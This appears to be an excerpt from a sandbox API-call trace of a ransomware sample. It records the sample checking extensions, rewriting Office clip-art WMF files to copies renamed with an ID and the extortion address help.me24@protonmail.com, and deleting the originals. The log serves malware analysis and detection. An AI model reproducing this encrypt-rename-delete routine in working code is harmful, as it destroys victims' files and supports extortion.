	[0172.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.829] lstrlenW (lpString=".dbf") returned 4
	[0172.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.829] lstrlenW (lpString=".1cd") returned 4
	[0172.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68
	[0172.829] lstrlenW (lpString=".jpg") returned 4
	[0172.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.829] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.829] lstrlenW (lpString="J0105638.WMF") returned 12
	[0172.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.830] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=10364) returned 1
	[0172.830] CloseHandle (hObject=0x550) returned 1
	[0172.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220
	[0172.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.831] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.831] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0172.832] GetLastError () returned 0x0
	[0172.832] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x287c, lpOverlapped=0x0) returned 1
	[0172.834] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2880, lpOverlapped=0x0) returned 1
	[0172.835] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.835] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.835] SetEndOfFile (hFile=0x4a8) returned 1
	[0172.835] CloseHandle (hObject=0x4a8) returned 1
	[0172.835] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.835] SetEndOfFile (hFile=0x550) returned 1
	[0172.839] CloseHandle (hObject=0x550) returned 1
	[0172.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1
	[0172.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.841] lstrlenW (lpString=".doc") returned 4
	[0172.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.841] lstrlenW (lpString=".docx") returned 5
	[0172.841] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0172.841] lstrlenW (lpString=".pdf") returned 4
	[0172.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.841] lstrlenW (lpString=".xls") returned 4
	[0172.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.841] lstrlenW (lpString=".xlsx") returned 5
	[0172.841] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0172.841] lstrlenW (lpString=".ppt") returned 4
	[0172.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.841] lstrlenW (lpString=".zip") returned 4
	[0172.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.842] lstrlenW (lpString=".rar") returned 4
	[0172.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString=".bz2") returned 4
	[0172.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString=".7z") returned 3
	[0172.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.842] lstrlenW (lpString=".dbf") returned 4
	[0172.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.842] lstrlenW (lpString=".1cd") returned 4
	[0172.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.842] lstrlenW (lpString=".jpg") returned 4
	[0172.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.842] lstrlenW (lpString=".doc") returned 4
	[0172.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString=".docx") returned 5
	[0172.842] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0172.842] lstrlenW (lpString=".pdf") returned 4
	[0172.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString=".xls") returned 4
	[0172.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.842] lstrlenW (lpString=".xlsx") returned 5
	[0172.842] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0172.842] lstrlenW (lpString=".ppt") returned 4
	[0172.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.842] lstrlenW (lpString=".zip") returned 4
	[0172.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.843] lstrlenW (lpString=".rar") returned 4
	[0172.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.843] lstrlenW (lpString=".bz2") returned 4
	[0172.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.843] lstrlenW (lpString=".7z") returned 3
	[0172.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.843] lstrlenW (lpString=".dbf") returned 4
	[0172.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.843] lstrlenW (lpString=".1cd") returned 4
	[0172.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0172.843] lstrlenW (lpString=".jpg") returned 4
	[0172.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.843] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.843] lstrlenW (lpString="J0105710.WMF") returned 12
	[0172.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.844] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=13808) returned 1
	[0172.844] CloseHandle (hObject=0x550) returned 1
	[0172.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220
	[0172.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.845] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.845] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0172.845] GetLastError () returned 0x0
	[0172.845] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x35f0, lpOverlapped=0x0) returned 1
	[0172.847] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3600, lpOverlapped=0x0) returned 1
	[0172.849] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.849] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.849] SetEndOfFile (hFile=0x4a8) returned 1
	[0172.849] CloseHandle (hObject=0x4a8) returned 1
	[0172.849] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.849] SetEndOfFile (hFile=0x550) returned 1
	[0172.853] CloseHandle (hObject=0x550) returned 1
	[0172.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1
	[0172.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.854] lstrlenW (lpString=".doc") returned 4
	[0172.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.854] lstrlenW (lpString=".docx") returned 5
	[0172.855] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.855] lstrlenW (lpString=".pdf") returned 4
	[0172.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.855] lstrlenW (lpString=".xls") returned 4
	[0172.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.855] lstrlenW (lpString=".xlsx") returned 5
	[0172.855] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.855] lstrlenW (lpString=".ppt") returned 4
	[0172.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.855] lstrlenW (lpString=".zip") returned 4
	[0172.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.855] lstrlenW (lpString=".rar") returned 4
	[0172.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.855] lstrlenW (lpString=".bz2") returned 4
	[0172.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.855] lstrlenW (lpString=".7z") returned 3
	[0172.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.855] lstrlenW (lpString=".dbf") returned 4
	[0172.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.855] lstrlenW (lpString=".1cd") returned 4
	[0172.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.855] lstrlenW (lpString=".jpg") returned 4
	[0172.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.856] lstrlenW (lpString=".doc") returned 4
	[0172.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString=".docx") returned 5
	[0172.856] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.856] lstrlenW (lpString=".pdf") returned 4
	[0172.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString=".xls") returned 4
	[0172.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.856] lstrlenW (lpString=".xlsx") returned 5
	[0172.856] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.856] lstrlenW (lpString=".ppt") returned 4
	[0172.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.856] lstrlenW (lpString=".zip") returned 4
	[0172.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.856] lstrlenW (lpString=".rar") returned 4
	[0172.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString=".bz2") returned 4
	[0172.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString=".7z") returned 3
	[0172.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.856] lstrlenW (lpString=".dbf") returned 4
	[0172.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.856] lstrlenW (lpString=".1cd") returned 4
	[0172.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0172.856] lstrlenW (lpString=".jpg") returned 4
	[0172.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.857] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.857] lstrlenW (lpString="J0105846.WMF") returned 12
	[0172.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.858] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8240) returned 1
	[0172.858] CloseHandle (hObject=0x550) returned 1
	[0172.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220
	[0172.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.859] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.859] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0172.860] GetLastError () returned 0x0
	[0172.860] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2030, lpOverlapped=0x0) returned 1
	[0173.113] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2040, lpOverlapped=0x0) returned 1
	[0173.114] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.114] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.115] SetEndOfFile (hFile=0x4a8) returned 1
	[0173.115] CloseHandle (hObject=0x4a8) returned 1
	[0173.115] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.115] SetEndOfFile (hFile=0x550) returned 1
	[0173.118] CloseHandle (hObject=0x550) returned 1
	[0173.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1
	[0173.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.120] lstrlenW (lpString=".doc") returned 4
	[0173.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString=".docx") returned 5
	[0173.121] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.121] lstrlenW (lpString=".pdf") returned 4
	[0173.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString=".xls") returned 4
	[0173.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.121] lstrlenW (lpString=".xlsx") returned 5
	[0173.121] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.121] lstrlenW (lpString=".ppt") returned 4
	[0173.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.121] lstrlenW (lpString=".zip") returned 4
	[0173.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.121] lstrlenW (lpString=".rar") returned 4
	[0173.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString=".bz2") returned 4
	[0173.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString=".7z") returned 3
	[0173.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.121] lstrlenW (lpString=".dbf") returned 4
	[0173.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.121] lstrlenW (lpString=".1cd") returned 4
	[0173.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.121] lstrlenW (lpString=".jpg") returned 4
	[0173.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.122] lstrlenW (lpString=".doc") returned 4
	[0173.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.122] lstrlenW (lpString=".docx") returned 5
	[0173.122] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.122] lstrlenW (lpString=".pdf") returned 4
	[0173.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.122] lstrlenW (lpString=".xls") returned 4
	[0173.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.122] lstrlenW (lpString=".xlsx") returned 5
	[0173.122] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.122] lstrlenW (lpString=".ppt") returned 4
	[0173.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.122] lstrlenW (lpString=".zip") returned 4
	[0173.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.122] lstrlenW (lpString=".rar") returned 4
	[0173.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.122] lstrlenW (lpString=".bz2") returned 4
	[0173.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.122] lstrlenW (lpString=".7z") returned 3
